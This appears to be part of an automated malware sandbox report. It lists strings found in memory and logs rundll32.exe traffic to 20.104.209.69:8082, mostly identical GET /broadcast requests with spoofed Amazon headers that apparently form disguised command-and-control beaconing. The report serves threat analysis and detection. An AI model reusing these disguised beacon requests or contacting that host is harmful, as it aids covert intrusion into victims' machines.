Source: svchost.exe, 0000000B.00000003.315812082.000002792165A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.316173182.000002792165C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000B.00000003.315795329.0000027921661000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 0000000B.00000002.316137245.000002792163C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 0000000B.00000003.315795329.0000027921661000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 0000000B.00000003.315795329.0000027921661000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 0000000B.00000003.315795329.0000027921661000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 0000000B.00000003.315832194.0000027921640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.316147968.0000027921642000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.315866958.0000027921641000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 0000000B.00000003.315832194.0000027921640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.316147968.0000027921642000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.315866958.0000027921641000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 0000000B.00000003.315795329.0000027921661000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 0000000B.00000003.315832194.0000027921640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.315812082.000002792165A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.316173182.000002792165C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 0000000B.00000003.315812082.000002792165A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000B.00000002.316173182.000002792165C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000B.00000002.316173182.000002792165C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000B.00000002.316188366.0000027921665000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.315812082.000002792165A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.315866958.0000027921641000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 0000000B.00000003.315795329.0000027921661000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 0000000B.00000002.316137245.000002792163C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000B.00000003.315832194.0000027921640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000B.00000002.316137245.000002792163C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 0000000B.00000002.316137245.000002792163C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.316062632.0000027921613000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000B.00000003.315832194.0000027921640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000B.00000003.315845807.0000027921656000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000B.00000003.315832194.0000027921640000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 0000000B.00000002.316129188.000002792163A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.294187920.0000027921631000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 0000000B.00000002.316159805.000002792164D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.315774082.0000027921648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen
Source: rundll32.exe, 00000007.00000002.780318528.0000000001100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com

Source: unknown

HTTP traffic detected: POST /1/events/com.amazon.csm.csa.prod HTTP/1.1Accept: */*Origin: https://www.amazon.comx-amz-rid: MTQxMDk0MTc0OAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Content-Length: 454Connection: Keep-AliveCache-Control: no-cacheData Raw: 7b 22 65 76 65 6e 74 73 22 3a 5b 7b 22 64 61 74 61 22 3a 7b 22 73 63 68 65 6d 61 49 64 22 3a 22 63 73 61 2e 56 69 64 65 6f 49 6e 74 65 72 61 63 74 69 6f 6e 73 2e 31 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 3a 22 52 65 74 61 69 6c 3a 50 72 6f 64 3a 2c 22 72 65 71 75 65 73 74 49 64 22 3a 22 4d 42 46 56 38 32 54 54 51 56 32 4a 4e 42 4b 4a 4a 35 30 42 22 2c 22 74 69 74 6c 65 22 3a 22 41 6d 61 7a 6f 6e 2e 63 6f 6d 2e 20 53 70 65 6e 64 20 6c 65 73 73 2e 20 53 6d 69 6c 65 20 6d 6f 72 65 2e 22 2c 22 73 75 62 50 61 67 65 54 79 70 65 22 3a 22 64 65 73 6b 74 6f 70 22 2c 22 73 65 73 73 69 6f 6e 22 3a 7b 22 69 64 22 3a 22 31 33 33 2d 39 39 30 35 30 35 35 2d 32 36 37 37 32 36 36 22 7d 2c 22 76 69 64 65 6f 22 3a 7b 22 69 64 22 3a 22 41 41 41 41 51 4b 58 76 6c 57 5f 61 77 64 62 65 4c 45 4e 43 6e 76 69 33 34 65 52 45 73 55 37 6c 77 4f 42 37 74 41 4c 51 48 37 58 6a 4c 69 4b 55 72 6d 6d 6b 70 52 74 75 30 56 70 71 70 6d 6b 63 32 57 54 57 77 75 6e 43 7a 68 4b 47 6e 5f 33 67 4b 75 71 38 50 7a 6a 6b 49 47 51 22 0a 22 70 6c 61 79 65 72 4d 6f 64 65 22 3a 22 49 4e 4c 49 4e 45 22 2c 22 76 69 64 65 6f 52 65 71 75 65 73 74 49 64 22 3a 22 4d 42 46 56 38 32 54 54 51 56 32 4a 4e 42 4b 4a 4a 35 30 42 22 2c 22 69 73 41 75 64 69 6f 4f 6e 22 3a 22 66 61 6c 73 65 22 2c 22 70 6c 61 79 65 72 22 3a 22 49 56 53 22 2c 22 65 76 65 6e 74 22 3a 22 4e 4f 4e 45 22 7d 7d 7d 7d 5d 7d Data Ascii: {"events":[{"data":{"schemaId":"csa.VideoInteractions.1","application":"Retail:Prod:,"requestId":"MBFV82TTQV2JNBKJJ50B","title":"Amazon.com. Spend less. Smile more.","subPageType":"desktop","session":{"id":"133-9905055-2677266"},"video":{"id":"AAAAQKXvlW_awdbeLENCnvi34eREsU7lwOB7tALQH7XjLiKUrmmkpRtu0Vpqpmkc2WTWwunCzhKGn_3gKuq8PzjkIGQ""playerMode":"INLINE","videoRequestId":"MBFV82TTQV2JNBKJJ50B","isAudioOn":"false","player":"IVS","event":"NONE"}}}}]}

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_010A1449 _memset,__snprintf,__snprintf,__snprintf,HttpOpenRequestA,HttpSendRequestA,InternetCloseHandle,InternetQueryDataAvailable,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

7_2_010A1449

Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /broadcast HTTP/1.1Accept: application/json, text/plain, /Accept-Language: en-US,en;q=0.5Origin: https://www.amazon.comReferer: https://www.amazon.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: cross-siteTe: trailersx-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 20.104.209.69:8082Connection: Keep-AliveCache-Control: no-cache
